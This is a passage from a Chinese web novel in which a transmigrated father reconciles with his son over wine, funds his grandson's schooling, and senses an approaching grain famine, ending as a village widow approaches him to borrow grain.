现在听江河主动提起这件事情,甚至还说要与老宅井水不犯河水,老死不相往来。
江天总觉得像是在听一个天大的笑话。
他是真的很难想象,以前那个没事儿恨不得一天往老宅跑八百趟,家里但凡有点儿好吃的好喝的,全都要一点儿不剩的送去老宅。
且还对老宅一家言听计从、百依百顺、唯命是从的江河,现在竟然能说出要与老宅彻底断亲、老死不相往来的话语。
这……还是他印象中的那个混账渣爹吗?
难道真的像是老三昨天所说的那样——
他们的这个渣爹,因为被磕到了脑袋,导致性情大变……如今已经变得跟以前完全不一样了?
第96章 父子局,冰释前嫌
“断亲的事……老三确实说了两句。”
江天稳了稳心神,沉默了片刻,才轻声开口道:
“但他说得含糊,我也不敢全信,毕竟以前你……”
他的话没有说完就戛然而止,不过江河却明白了他是什么意思。
原身那舔狗一般的愚孝行为,实在是太过深入人心,江天没有亲眼见到当日的断亲场面,没有看到那份断亲文书,自然是不敢轻易相信。
“行了,现在说这些没什么意义,等到明天你回村里了,就什么都明白了!”江河轻摆了摆手,不愿再多说。
此时,他刚刚点的那些酒菜已然全部上桌,江河指着桌上的饭菜和温酒向江天说道:“今天老子高兴,你来陪老子喝上两杯!”
说着,他直接提起酒壶,探身为自己和江天分别斟倒上了一杯,示意江天举杯与自己共饮。
江天看着桌上如此丰盛的饭菜,还有江河提在手中那壶最少价值五百文钱的精品桂花酒,莫名的感觉有些心疼。
这也太奢侈了!
一顿饭直接花去了近两贯钱,都抵得上他近两年的工钱了。
说实话,就算是村里的里正与老族长他们,怕是也不敢这么造啊。
他这个渣爹哪来的这么大的底气,竟然敢在望福楼内点这么一桌昂贵的酒菜?
别到了最后,这个混蛋爹把嘴一抹,双腿一溜,直接吃起了霸王餐,把剩下的烂摊子全都留给了他。
不怪江天会这么想,实在是这些年他被渣爹给坑怕了。
而且,他也不觉得江河身上能有那么多钱。
正如他之前所说,家里总共就只有几亩地的进项,一整年下来能攒上一两百文钱都算是好的。
江河身为一家之主,每天屁事不干不说,还总是把家里好不容易攒下的钱和粮食不断往老宅送。
这么多年下来,他们家根本就没有攒下多少家底。
就算如老三所说,前几日老爹从老宅那边讨回来了一贯钱的赔偿。
可是那些钱在为他还了汇丰钱庄的借贷之后,又还能剩下几文?
而现在,江河却一顿饭点了近两贯钱的酒菜,正常情况下,他怎么可能会付得起?
见江天一直犹豫着没有端酒杯,而是傻呆呆的盯着桌面上的酒菜看,还一个劲儿的皱眉头,江河哪里还能不明白他在担心什么?
这孩子,是怕他这个渣爹还会像以前那样坑他来付钱结账。
而以江天现在的收入水平来讲,眼前这一桌子的酒菜,都能抵得上他近两年的工钱了,他怎么可能会付得起?
唉!
江河在心中轻叹了口气,暗骂道:
原身这个狗东西,真是不当人啊!
看看丫都把自己亲儿子给逼成什么样了,对他这个亲爹竟连半点儿最基本的信任都没有了啊!
啪!
江河直接从怀里掏出二两碎银子拍在了桌面上,同时冲江天说道:“来,你先把这个收起来,省得一会儿老子喝多了会忘了结账!”
江天被桌面上的这一声轻响,以及那块闪着银色光芒的碎银子,惊得眼皮一跳。
老爹竟然真的拿出钱来了!
而且还是只有那些豪门富户们才会用到的雪白的银子。
桌面上的这块碎银,看上去差不多有二两余重,换算成铜钱的话那就是两贯多,足够支付这顿饭钱了。
他看了看这块碎银,又看了看江河坦然自若,分毫不把这当回事儿的淡定姿态,眼中不由闪现出了一丝难以置信的神色。
江河他……竟然随身带着这么多钱?
而且,为了让他安心吃饭,还特意提前将这些饭钱给拿了出来?
这让他不由想到了前天中午,江河来这里请他吃饭时,似乎也是如此,在吃饭之前就提前把饭钱掏出,摆放在餐桌之上,爽利、坦荡得让人不敢置信。
江河这般反常且贴心的举动,与以前那个但凡有点钱就迫不及待送去老宅、甚至还不断从他这个儿子手里抠钱、**的渣爹,简直就判若两人。
难道真像是三弟说的那样——爹真的已经变好了?
“那什么……我没有这个意思……”江天想要开口解释,却又不知从何说起。
“行了,莫要多言,老子知道你心里咋想的。”
江河端起自己面前的酒杯,一饮而尽,咂了咂嘴,道:
“以前老子确实有些对不住你,你这般防着老子,甚至记恨老子,也是理所应当,爹不挑你的理。”
“不过你给老子记住了,以前的事情已经过去了,现在老子已经不再是以前那个糊涂蛋,知道自己该做什么、不该做什么。”
“以后你也不必再担心老子还会像以前那样来坑你,来骗你口袋里的钱了。”
“现在,把桌上的钱收了,安安心心、老老实实的陪老子吃顿饭,喝杯酒,没问题吧?”
江河这番话说得坦荡直接,没有半点掩饰,也没有以前那种心虚或强装威严的别扭感。
江天听得心中微震,看着江河那坦然甚至带着几分自嘲的眼神,一直紧绷的心弦终于松动了些许。
江天没有说话,只是默默的点了点头。
抬手将桌面上的二两银子收起,然后端起刚刚江河为他斟倒的那杯酒,冲着江河微扬了扬,然后送到嘴边一饮而尽。
别说,不愧是能卖出五百文一壶的精品桂花酒,确实要比江天平时喝的那些劣质米酒要醇厚、有劲儿的多!
“诶!这就对了!跟你爹面前还客气什么!”
见江天终于放下心中的成见,开始主动端酒入喉,江河不由开怀大笑。
拎起酒壶给自己又斟倒了一杯之后,直接把酒壶推到江天的面前,道:
“想喝了自己再倒,老子还是那句话,在你爹的跟前,你小子没必要再拘着、敛着,给老子放开了吃喝就是!”
江天看着江河这般自斟自饮的随性样子,一直压抑着的心绪也随之变得更为松快。
不得不说,眼前这个爹给他的感觉,确实是跟以前完全不一样了。
若不是他的身形样貌、声音眼眸,都跟以前一般无二,江天甚至都会以为这是另外一个人。
江天提壶为自己斟倒了一杯,再次一饮而尽。
之后,趁着有些微醺的酒意,他提壶起身,亲自为江河倒了杯酒,然后又举起自己的酒杯,看着江河道:
“这杯酒,我……我敬你。”
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>“谢谢你……前天替我还了那些欠债。”
说完,他仰起头将杯中酒一饮而尽。
酒液滚过喉咙,带着桂花的甜香和微醺的暖意,一点点的驱散着他心中那丝阴霾与寒意。
这孩子,直到现在竟然都还不肯叫他一句爹。
江河端起酒杯送到嘴边,在饮用之前轻声和江天说道:
“你也不必谢我,那本就是老子之前强加在你身上的债务。”
“老子那不是在替你还债,而是在为以前的自己赎罪罢了!”
说完,江河也仰起头,将整杯酒送入腹中。
江天闻言,不禁眼圈微红,忍不住又自斟自饮,陪了一杯。
这样的一杯酒下肚之后,父子二人虽然没有明确的冰释前嫌,但餐桌上的气氛却明显的变得松快活络了不少。
江天也不再拘谨、约束,开始主动拿起筷子,吃起了桌子上的饭菜。
江河见状,脸上的笑意更甚。
他没有装什么慈父,上赶着主动给江天夹菜。
这不符合他渣爹的人设,而且他无论是上辈子还是这辈子,也都没有给臭男人夹菜的不良习惯。
见江天终于放开了心神,同时也放开了腮帮子,毫不客气的大快朵颐,江河自然也不会客气,同样拿起筷子加入到了干饭的行列。
水晶肴肉,入口即化,肉质紧实弹牙。
酱牛肉,酥烂入味,酱香浓郁,令人回味无穷。
清炒时蔬,鲜脆爽口,火候适中。
不得不说,这望福楼内的大厨,确实很有一手,做出来的这些饭菜,虽然贵了些,但是却很合江河的口味。
就这样,三盘菜、两碗面,外加一壶精品桂花酒,在父子二人的“埋头苦干”下,很快就见了底,被吃了个精光。
半壶酒下肚,江河倒是没有什么大的反应,只是面色微红,体内有些许燥热而已,连晕都没晕。
而江天却是不同,脸红得跟猴屁股一样,说话都开始有些咬舌头,明显是已经有了三分醉意。
酒喝到最后,他再没有了初开始时的冷漠与疏离,主动拉着江河的手,泣声叨念着:
“爹,算我求你了,以后咱能不能别再闹了,咱们一家人好好的过日子不行吗?”
“你知道这两年我是怎么过来的吗?为了还债,我都整整两年没有痛痛快快的吃过一次肉,喝过一顿酒了……”
“小芳,也就是你儿媳妇,还有那两孩子,跟着我也是遭了老罪了……”
“以前,岳父还在的时候,时不时的还会出手接济我们家一些,可是自打去年,岳父病逝之后,我们家的日子就更难过了……”
江河静静的听着江天的哭诉与发泄,这也是他今天过来特意找老二喝酒的主要目的。
只有让江天把这些年憋在心中的苦啊怨啊全都发泄出来,他们父子之间的关系才会真正的缓和下来。
不管怎么说,他们都是亲生父子。
父子之间,哪有什么真正的仇和怨?
而且,男人之间的沟通与交流,酒才是最好的媒介。
看看江天现在拉着他又是哭又是笑,甚至连爹都开口叫上了的状态,江河就知道,这顿酒他们没有白喝。
第97章 你爹确实是个混蛋玩意儿
“……爹,我不是怨你穷,也不怨你没本事,我是怨你……怨你心里根本没我们!”
江天打着酒嗝,声音哽咽着继续向江河抱怨道:
“你把家里好吃的、好吃的,还有所有的钱,全都送给了老宅,我们兄弟姊妹还有娘,全都饿得前胸贴后背,沫儿发烧了都没钱抓药……”
“你知道我以前看到你拿着家里最后半袋口粮送去老宅,娘跪下来求您都没用的时候,我心里是什么滋味吗?”
“还有,娘……娘被老宅的那个老妖婆给逼死的时候,你又是怎么做的,你根本就没有替我娘出头!”
“你可知道,有好几次,我都恨不得……恨不得……”
江天用力的握着拳头,激动得有些说不下去了,最终直接把头埋在臂弯里,肩膀一抽一抽的小声哭泣起来。
江河见了,心中也是一阵酸楚与唏嘘。
作为一个已经融合了原身大半记忆的穿越客,他当然知道原身以前是个什么狗东西,更清楚原身在过去的十几二十年间,给这个家庭带来的伤害有多深。
而从小在这样的原生家庭长大的孩子,不管是身体还是心理上所承受到的压力与伤害,都绝对不是外人所能理解的。
江天这小子当年有勇气愤而离家,其实还算是好的。
真正受了大苦、遭了大罪的,还是一直留在家里没有离开的**、江源、江沫儿及赵穗、罗灵等人。
不仅精神上饱受折磨,连肚皮都吃不饱,江河若是再晚穿越过来几天,家里的那几个孩子,都有被饿死的可能。
相比之下,江天虽然也受了不少委屈,吃了不少苦,甚至还被渣爹坑着背上了一贯钱的**。
但是他毕竟远离了原生家庭,不用再受渣爹的精神折磨,也能勉强填饱肚子,已经算是不错了。
现在,江天能够趁着醉酒,跟他主动提起这些陈年旧事,揭开以前的伤疤,发泄心中的愤懑与不满,在江河看来,其实是一个好兆头。
他最怕那种什么话都憋在心里,连理都懒得搭理他的那种状况。
要不怎么说,这酒可真是个好东西啊。
不仅能够酒后吐真言,也能切实地拉近他们父子之间的感情。
“老二啊,以前你爹确实是个混蛋玩意儿,眼瞎心盲、不识好歹,一心只想着帮衬老宅的那些白眼狼,对不起你们。”
江河抬手拍了拍江天的肩膀,朗声向他说道:
“不过现在,爹可以向你保证,以后再也不会那样了。”
“老宅那边,已经跟咱们没关系了。以后咱们家挣的每一文钱,打的每一粒粮食,都是咱们自己的,谁也别想再拿走!”
江天闻言抬起头,醉眼朦胧地看着江河,似乎在确认这话的真假。
他看到父亲眼中没有以往的闪烁和躲闪,只有一片坦荡和不容置疑的坚定。
“爹……你说真的?”他哑着嗓子问。
“真的不能再真了!”江河斩钉截铁道:“断亲文书就在家里放着,族长里正都做了见证,明天你回到家就能看到。”
“另外,你怕是还不知道吧,老宅那帮人,昨天因为拐卖村里的孩子,全都已经被抓到县衙里去了,以后可能再也回不去了……”
江天醉意上涌,并没有听清江河后面讲的那些话。
但是当他听到江河跟他保证,以后再也不与老宅有来往,要好好跟家里人过日子时,又控制不住的抱头呜咽起来。
哭着哭着,他竟直接趴在桌面上打起了呼噜,睡着了。
看样子,这孩子不止是醉得不轻,本身也累得很了,不然的话不会几杯酒下肚就困成了这个样子。
江河见状,也不再多说什么,抬手招呼了一下一直守在不远处、眼神关切的看着他们这边的那个小伙计阿荣。
阿荣连忙小跑过来,看了一眼已经睡过去的江天,小声道:
“伯父,天哥这是喝多了?要不要我帮忙把他送回家去?”
“这就不麻烦你了,一会儿我顺道把他捎回去就行。”江河微摇了摇头,向阿荣说道:“你先帮我算下账,然后再去替江天请个假,让他在家里好生休息一下午。”
“好嘞!伯父您稍等,我马上就来!”
阿荣应了一声,小跑着走向了柜台。
片刻后,他又小跑着折返回来,开口向江河说道:
“江伯父,您这桌的饭钱一共是一贯五百二十三文,掌柜的给您免了个零头,您直接付一贯五百文就行。”
“还有,天哥的假期掌柜的也给批了,不止是今天下午,还有明、后两天。”
“我也是才知道,原来天哥之前就已经跟掌柜的打过招呼了,请了明、后两天的假,说是要回老家探亲。”
江河了然点头,伸手入怀,掏出一两六钱左右的碎银子,直接递给阿荣,道:
“麻烦你再跑一趟,帮我把饭钱付了,多余的那些算是给你的辛苦费。”
“多谢江伯父,不过辛苦费就算了,我跟天哥是兄弟,哪能额外收您的钱!”
见江河拿出来的竟是白花花的银子,阿荣不由眼前一亮,他接过钱,客气了两句后,便小跑着去柜台结账去了。
而江河,则抬手将江天的一条胳膊搭在自己的肩上,轻松之极就将他给驮了起来。
然后,一手拎着他来时背着的竹篓,一边驮着江天,径直离开了望福楼。
等到阿荣捧着掌柜找回来的百余文钱,回来找江河报账时,这才发现江河与江天竟然全都已经离开了。
看着手中这一百多文钱,阿荣心里不由泛起了嘀咕。
“真的全都赏给我了?要不要这么大方?”
“这可是一百多文钱啊,都抵得上我好几个月的工钱了,竟然说赏就赏了?”
“不过话又说了回来,天哥的这个老爹到底是什么来头?一顿饭吃了一贯五百文连眼睛都不眨一下不说,现在更是随手就打赏了一百多文!”
“天哥以前不是说,他们家就是乡下的一个普通农户家庭吗,怎么会这么有钱?”
“真是的,老子这么有钱,却还让自己的儿子每天背着贷款,过得苦哈哈,也难怪天哥不爱提起这个老爹,这两年更是少有回去探亲……”
江河不知阿荣在背后的嘀咕与念叨,他驮着醉醺醺、已然睡过去的江天出了望福楼后,步履稳健地走在县城略显嘈杂的街道上。
午后的阳光依然明媚,街上行人如织。
他抬头辨明方向,稳步朝着城南,江
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天一家租住的城中村方向走去。
江天虽然瘦,但毕竟是个成年男子,分量不轻。
不过对于身体素质早已今非昔比的江河来说,这点负担根本不算什么。
他驮着江天一路穿街走巷,只用了不到半刻钟的时间,就来到了江天家的小院门前。
院门虚掩着,并没有上锁。
院子里面隐约传来孩童的嬉闹声和一个妇人温柔的呵斥声。
江河没有敲门,直接驮着江天推门走了进去。
不大的院子里,一个约莫五六岁、虎头虎脑的小男孩正在追逐一只半大的芦花鸡。
一个三四岁、扎着羊角辫的小女孩正蹲在地上玩石子。
一个穿着洗得发白布裙、面容清秀却带着几分疲惫的年轻妇人,正坐在屋檐下缝补衣物,听到动静抬起头来。
看到江河驮着人事不省的江天进来,孙芳吓了一跳,手里的针线都掉在了地上。
“爹……你怎么来了?天哥他……他这是怎么了?”
孙芳慌忙站起身迎了上来,脸上闪过一抹惊慌和担忧的神色。
显是以为公爹又动手打了江天,毕竟这已经不是头一回发生这样的事情了。
“没事,就是喝多了,睡一觉就好。”
察觉到孙芳眼中的怯意,江河语气尽量放得平和,轻声向孙芳解释了一句。
然后他的目光扫过旁边那两个正睁着大眼睛好奇看着他的孩子,脸上的笑容就变得更温和了。
“爷爷!你又来看我们啦!”
“爷爷!爷爷!”
江飞与江玲也认出了江河,不由就想到了前天爷爷给他们吃的那种棒棒糖,全都欢喜的朝着江河这边跑来。
他们从小在县城长大,没有遭受过原身这个渣爷爷的毒打和痛骂,对江河这个爷爷,并没有如孙芳那样的恐惧与害怕。
“诶~!乖孙子,乖孙女,看爷爷给你们带什么好吃的了!”
江河自然知道这两个小家伙叫得这么甜是为了什么,直接腾出一只手来,从怀里掏出两根棒棒糖塞到了他们手中。
“谢谢爷爷!”
“谢谢爷爷!”
看着两个孩子欢天喜地般的开心笑容,江河也不由跟着开怀大笑起来。
把两个孩子安抚好,江河又开口向孙芳问道:“老二的房间在哪?我先把他放床上去。”
“在……在这边,爹你跟我来。”孙芳连忙侧身引路,推开正屋的房门,将江河请进了屋里。
房间内的卧房很小,陈设也很简陋,一张木板床,一套旧桌椅,一个破柜子,之后再无多余的物品。
江河把江天扶送进来之后,孙芳就主动上前搀扶起了江天的另外一条胳膊。
二人一起将江天放到床上,孙芳又弯身脱了他的鞋子,拉过薄被给他盖上。
躺在床上后,江天只是含糊地咕哝了一声,之后就翻了个身,继续沉睡。
孙芳闻到江天身上满是酒气,脸上、胳膊上也并没有她想象中被揍过的伤痕,不由心下稍安。
看来公爹说的是真的,江天只是喝醉了酒,并不是被公爹给打得不省人事了。
只是……这好端端的,江天怎么还跟公爹一块喝起酒来了?
他平时不是最恨公爹了么?
第98章 送娃儿去读书
孙芳心中多有疑惑,却不敢多问。
她看着公爹似乎比以往和善了许多的身影,又看看床上睡得死沉的丈夫,一时不知该如何是好。
本心里,对于这个劣迹斑斑的公爹,孙芳还是恐惧、害怕多过恭顺、敬畏。
如果有可能的话,她当然是希望离这个暴躁的公爹越远越好。
哪怕公爹现在似乎变得比以往和善了不少,但是江山易改,秉性难移啊,谁知道这是不是公爹为了坑他们两口子,故意演出来的?
江河安置好江天,没在卧房里多留,转身就走到外屋,在院中的旧木桌旁坐下。
两个孩子见了,全都欢喜地围在他的身边打转,爷爷爷爷不停的叫着,分毫也不生分。
片刻,孙芳也鼓足勇气从屋里出来,见江河坐在院中,连忙去灶房倒了碗温水,小心端递到江河面前。
“爹,您喝水。”
“嗯。”江河微微点头,接过碗喝了一口,目光缓缓落在孙芳身上。
“昨日我进山猎到了一些野味儿,采了几株药材,今日在县里全都卖出了好价钱,心里高兴,便想着寻了老二喝了两杯,你莫要怪他。”
听到公爹的解释的,孙芳连忙摇头摆手,表示不敢。
她没想到,公爹竟然会专门跟她解释这些,甚至还为江天做了开脱。
这样的举动,若是放在三年前他们还没有离开下河村时,简直是不可想象的。
以前的公爹,何曾把他们这些儿女还有儿媳妇当过人,平日里不是打就是骂,哪里会为他们着想半分?
还有,更让孙芳没有想到的是,公爹竟然还进山狩猎了?
真的还是假的?
在家里当了一辈子大爷,平时家里的油罐倒了都不会弯身去扶一下的公爹,竟然舍得冒险进山狩猎了?
“之前呢,爹确实是做了一些糊涂事,很对不起你们小两口。”
江河继续说道:“爹也不指望你们会完全原谅我,我只希望以后逢年过节的时候,你们都能回家看看。”
“再怎么说,咱们也是一家人,江飞与江玲这两孩子也是我们**家的血脉,得让他们知道自己的根在哪里。”
说着,江河从怀里掏出一些散碎银子,加起来约莫有三两左右,放在桌上。
“这些钱你收着。”
江河的声音不高,却带着不容拒绝的语气,道:
“明天你们不是要回下河村吗?用这些钱,给孩子们,还有你们自己,都添置一身新衣裳,再买些像样的礼品带上,莫要让村里人瞧不起。”
“还有,昨天我已经跟**、江源他们说过了,以后咱们江家的娃娃,无论男女,只要到了开蒙的年岁,我都会给足束脩,送他们入私塾读书。”
“江飞这孩子应该已经五岁了吧,也到了该入私塾的年纪。”
“回头你让老二到县里的私塾去问问,一年的束脩是多少,明日你们回去之后告诉我一声,我会给你们准备好。”
啊?
孙芳直接愣在了当场,傻傻的看着公爹放在桌子上的那三两银子,听着公爹说要供江飞入私塾读书的话语,一时间感觉像在梦中。
那可是三两银子,足足三贯钱啊!
她跟了江天这么多年,家里的余钱从来都没有超过两百文的。
尤其是过去的这两年,因为那一贯钱的借贷,他们家更是月月拮据,日日缺钱,差点儿连顿饱饭都吃不上了。
这种情况下,他们别说是送江飞去读书了,甚至就连自己都快养不活了。
谁能想到,现在公爹一出手就送给了他们三贯钱!
而且,还说要负责江飞以**私塾的所有束脩,要供养家里所有的孩子读书。
这……巨大的惊喜来得太过突然,突然到孙芳根本就不敢相信这是真的。
她怔怔的站在那里,仿佛被施了定身法。
两只眼睛直勾勾地盯着桌上那几块白花花的碎银,耳朵里嗡嗡作响,反复回响着“送娃儿入私塾读书”、“准备好束脩”这些字眼。
送孩子去读书……
这可是她和江天私下里无数次憧憬过、却又根本不敢宣之于口的奢望啊!
读书,在这个时代,是底层百姓改变命运、跃迁阶层,最正规、最光明正大,也最是难得的唯一途径。
他们两口子就是吃了没读过书的亏,只能在最底层卖力气、看人脸色,勉强过活。
他们做梦都想让儿子江飞入私塾,考状元,光耀门楣。
退一万步来讲,就算是孩子愚笨,无缘科考,只要能在私塾里多认几个字,将来也能找到一些文书、账房之类比较轻松的生计,怎么也能比他们现在强。
之前因为债务缠身,送江飞入私塾,几乎已经成了他们两口子可望而不可即的奢望。
而现在,这个奢望,竟然从这个他们最害怕、最厌恶、也最怨恨的公爹嘴里说了出来。
而且公爹还说得那么斩钉截铁,那么郑重其事,甚至还拿出了实实在在的银钱给他们!
“爹……这……这钱……我们不能要……”
过了好半天,反应过来的孙芳习惯性地想要摆手拒绝,只是声音抖得厉害,话都说不利索了。
“爹,这……这太贵重了,我们不能收……而且飞儿他……他还小……”
“五岁还小什么?”
江河眉头微皱,语气带着一丝不悦和不容置疑,定声道:
“别人家的孩子,像他这个年纪,早就在开蒙了!咱们**家的孩子,绝对不能输在起跑线上!”
“飞儿是老子的孙子,他读书的事情老子有权做出决断,此事就这么定下了,谁也别再多说半句!”
“一会儿老二醒来了,你就让他去县学的私塾里打听打听,待明天你们回去后再跟我细说。”
“这一年要多少束脩,买笔墨纸砚要多少钱,我心里得有个数。”
见公爹说得这么决断、霸道,孙芳不由心神一颤,头一次觉得公爹这脾气发得好,简直都说到她心坎坎上了。
意识到公爹不像是在说笑,而是切切实实的要供江飞读书蒙学。
孙芳的眼泪终于忍不住,像断了线的珠子一样滚落下来。
她不是
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伤心,而是这巨大的精神冲击、难以置信的意外惊喜,还有积压了多年的委屈和辛酸,在这一刻,一下子全都涌了上来。
她“扑通”一声跪了下来,就要给江河磕头:
“爹!谢谢爹!我代飞儿谢谢你……”
“起来!跪什么跪!”江河连忙伸手虚扶,沉声道,“一家人,不说两家话,在爹的跟前,用不着说谢字。”
“以后你跟着老二好好过日子,把孩子们养好,把小日子过好,比什么都强。”
孙芳心中再次涌现出一股暖意,她趁势起身,用手背胡乱擦着眼泪,用力点头:
“哎!哎!爹你放心,我们一定好好过!飞儿……他以后要是敢不好好读书,敢不孝敬爷爷,我肯定饶不了他!”
见孙芳再看向他时的目光中,已然少了许多初时的惧意与戒备,江河不由嘴角微勾,开怀轻笑起来。
二儿媳这里,也算是搞定了。
他就知道,只要他祭出供孩子读书这个大杀器后,甭管他们之前对他这个渣爹有多大的怨气与恨意,都能快速给他们抹平、消散了。
现在看来,果不其然。
老二媳妇儿都感动得给他跪下了,哪里还会对他再有半点儿怨恨?
“行了,别说这些没用的。”
江河摆摆手,然后伸手从自己的背篓里拿出两包点心,放在桌上,道:
“把这个拿给孩子们吃。一会儿江天醒了,你告诉他,老子先回村了,让他明天早点带着你们回去,别磨蹭。”
“哎!知道了爹!我们一定早点回去!”
孙芳连声应着,小心翼翼地将桌上的银子和点心收好,那动作轻得仿佛捧着什么稀世珍宝一般。
江河不再多言,背起竹篓,又抬手摸了摸两个凑过来的孩子的小脑袋,然后才转身大步走出了小院。
孙芳带着孩子一路送到门口,直到江河的背影消失在巷口拐角,还久久回不过神。
她摸了摸怀里那沉甸甸、热乎乎的银子,又看看手里香气弥散的点心。
再想到公爹刚才所说的那番关于送孩子读书的话语,只觉得脚底下都轻飘飘的,像踩在棉花上。
“娘,爷爷刚刚说要送我去私塾读书,是真的吗?”江飞仰着小脸,眼睛亮晶晶地问。
“当然是真的!”
孙芳蹲下身,紧紧抱住两个孩子,无比肯定的回答道。
就算是公爹事后再出尔反尔,他方才留下的这三两银子,也足够他们送江飞入县里的私塾开蒙读书了。
“你爷爷刚才已经说了,要送你去私塾,要让你读书认字!”
“飞儿,你以后可要好好学,将来出息了,别忘了你爷爷的好!”
“嗯!”江飞用力点头,小脸上满是认真。
孙芳站起身,深吸一口气,带着俩孩子重新回到院子里。
此刻,江天还在屋内沉睡,响亮的呼噜声透过窗棂传到院中。
孙芳听了,却觉得这呼噜声是如此的和谐悦耳。
甚至就连他们居住的这个破旧的小院儿,也好像比以往更明亮、温暖了许多。
第99章 孙寡妇借粮
离开江天家,江河直接去了粮市。
随便到一家粮店内询问了一下当前的粮价,这才知道,县城内的粮食竟然又涨价了。
粟米从前天的二十五文一斗,涨到了三十文一斗。
小麦由三十文涨到了三十五文一斗。
而大米的涨幅最高,竟然从五十文一下涨到了六十文一斗!
就这样的价格,粮店里竟然还搞起了限额,买粮要凭户籍登记不说,每人每天最多只能买十斤。
这样的新规定,直接就打乱了江河想要悄悄大批量储备粮食的计划。
没办法,他只能再次回到城西的地下坊市,想要冒险从地下坊市收购一批粮食。
结果却发现,地下坊市中的粮价,竟是外界的三倍还要多,而且数量有限,每天只往外售卖百石。
江河就算是想买,也早就已经没有了份额。
这种有钱也买不到粮食的状况,让江河的心中顿感不妙。
“这粮荒,怕是马上就来了啊!”
这个念头一冒出来,江河的心便是一沉。
经历过现代信息轰炸的他,对于“粮价飞涨”、“限购”、“黑市价高量少”这些信号太敏感了。
这绝不是正常的市场波动,而是大规模粮食短缺即将爆发的前兆!
前几天他在家里也总是能从**、罗灵及赵穗几人的交谈中,听他们提到这两年地里的收成不好,不是有旱情就是闹蝗灾。
很多家户交完赋税之后,家里剩下的口粮甚至连温饱都维持不了,不得不到后山采摘野菜、野果帮衬着度日。
尤其是今年,地里的收成更不好,不说别人家如何,就江河他们家在交完税后,家里总共就只剩下两个半袋的粮食。
就这,原身那狗东西还想着要全都送给老宅。
如果不是实在没有办法了,就**那三棍子都打不出一个屁来的沉闷性子,怎么可能会跟原身犟嘴,气得原身要拿铁锨去抽他,最后一个失足仰天倒地,磕到了后脑?
缺粮少粮,这绝对不是江河他们一家一户所面临的困境与现状。
照着县城内粮价上涨的疯狂速度来判断,现实中的真实情况,只怕是会更加严重与糟糕。
粮荒!
一场可能席卷整个三河县乃至更广泛区域的粮荒,正在悄然逼近。
而官方和粮商似乎已经提前嗅到了危机与商机,开始囤货居奇,疯狂抬价!
不然根本就不会出现这种有钱也买不到多余粮食的情况。
所幸的是,他前天已经提前买来了一千多斤粮食,再加上他从老宅东屋偷偷收走的那一千余斤口粮与时蔬。
还有,他每天签到所得的那些大米、面粉、糕点、猪肉、鸡蛋、萝卜、白菜什么的,短时间内,他们家并不会缺粮少食。
江河扫了一眼物品栏内安放着的那两千多斤粮食,还有各类生活物资,心下稍安。
既然买不到粮食,他也就没有必要再继续留在县城之中了。
随便寻了一个酒楼,将他带来的什锦野鸡以两百二十文钱的价格卖掉。
然后他又装模作样的到粮店规规矩矩的买了十斤大米,这才背着竹篓一路出了城门。
一路无话,只用了两刻钟左右的时间,江河就回到了下河村村口。
现在正是午后两三点钟的光景。
初秋的日头已失了盛夏的酷烈,带着几分温吞的暖意,却驱不散空气中弥漫的丝丝凉气。
村口那棵不知活了多少年头的老槐树,叶子已染上了些许黄边,在微寒的秋风中瑟瑟作响,投下的光影也显得疏淡了些。
树下不见纳凉闲聊的老人,只有几片早凋的枯叶,被风卷着,在略显空荡的石堆旁打着旋儿。
远处的田野里,早种的冬麦有的已经冒头,参差在黄褐色的土层田陇之中,并不怎么显眼。
更远处的天姥山,层林也褪去了盛夏的浓绿,透出些深沉苍茫的墨色来,山巅隐约有雾气缭绕,平添了几分清冷。
此刻的下河村,仿佛都沉浸在这秋日午后特有的宁静与微寒之中,安静,甚至有些冷清。
江河站在这片萧瑟但却平静宁和的画卷的入口处,心情却与眼前的景象截然不同。
粮荒的阴影,如同远处天边渐浓的秋云,虽然还未完全遮蔽这片土地,但那砭人肌骨的凉意和物资紧缺的恐慌,已经透过县城传来的讯息,丝丝缕缕地渗入了他的心中。
他知道,眼前的这片宁静与祥和,怕是维持不了多久了。
粮荒一来,饥荒遍布,村子里还不知会饿死多少人呢。
“唉,山雨欲来风满楼,这秋寒,怕是也要越来越重了……”
江河心中轻叹了一句,紧了紧身上的竹篓,快步入村,朝着自家的院落走去。
“大郎,你回来了?!”
刚进村子没多久,在路过一条岔路口时,旁边一个隐蔽的屋角处突然窜出一条人影,含情脉脉地看着江河。
听到这个声音,江河不由一个激灵,脑海里面瞬时便泛起了关于这个声音主人的一切讯息。
孙寡妇!
原身那个狗东西的另外一个姘头。
大名孙巧娘,是村北头短命鬼王长顺的婆娘。
这个小娘皮什么时候回来了,她不是带着孩子回娘家去了吗?
江河定了定神,上下仔细打量了一下眼前这个女人。
孙寡妇约莫三十上下的年纪,穿着一身洗得有些发白褪色的碎花布裙。
腰身束得很紧,突显出了胸前鼓囊囊的波涛和那圆滚滚、沉甸甸、走起路来怕是要颤巍巍的丰硕臀部。
她面容说不上多美,但胜在皮肤白净,眉眼间带着一股子村里妇人少有的风骚泼辣劲儿。
嘴唇涂着淡淡的、不知用什么野花汁子染的嫣红色,此刻正微微撅着,眼神直勾勾、水汪汪地看着江河。
说实话,这个孙寡妇的样貌要比之前的赵寡妇顺眼得多。
但也就是如此了。
同样没有长在江河的审美上,江河对她亦是提不起半点儿兴趣。
不过在原身的记忆中,原身那狗东西对这个孙寡妇还是比较偏爱的,以前在私底下可没少跟她勾勾搭搭。
相应的,也没少往这孙寡妇身上花钱、送东西。
“哎哟,我的大郎哥,你可算是回来了!真是让奴家好等啊!”
孙巧娘扭着那丰腴的身子凑近,一股劣质头油混合着皂角的气息扑面
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而来。
她伸手就想来拉江河的胳膊,**河不动声色地侧身避开了。
“孙家妹子,有事?”江河语气平淡,眉头微不可察地皱了一下。
这女人在这时候找上门来,准没什么好事。
孙巧娘见他避开,也不恼,反而捂着嘴咯咯笑了两声,眼波流转道:
“孙家妹子?大郎哥,你还真是变了呢!以前你不是都唤奴家巧妹子么,怎的才几天不见就跟奴家生分了?”
“不过这话又说了回来,这几天奴家一直没在村里,都不知道村里发生了那么多热**。更不知道大郎哥你磕到了脑袋,受了重伤,否则奴家怎么也要上门去探望一下大郎哥。”
“……听说大郎哥你跟老宅闹掰了,昨天还在山里猎到了不少好东西……”
“大郎哥,我们家你是知道的,自我那死鬼丈夫没了之后,就靠我一个小女人拉扯着两个孩子,经常是有了上顿没下顿,日子过着苦着呢。”
“这不,家里眼见着又要揭不开锅了,孩子饿得直哭,便想着……大郎哥你能不能帮衬帮衬,借些粮食给奴家?”
她一边说,一边又往前凑了几步,鼓囊的前胸几乎都要贴到了江河的身上,压低的声音带着些黏腻的暗示:
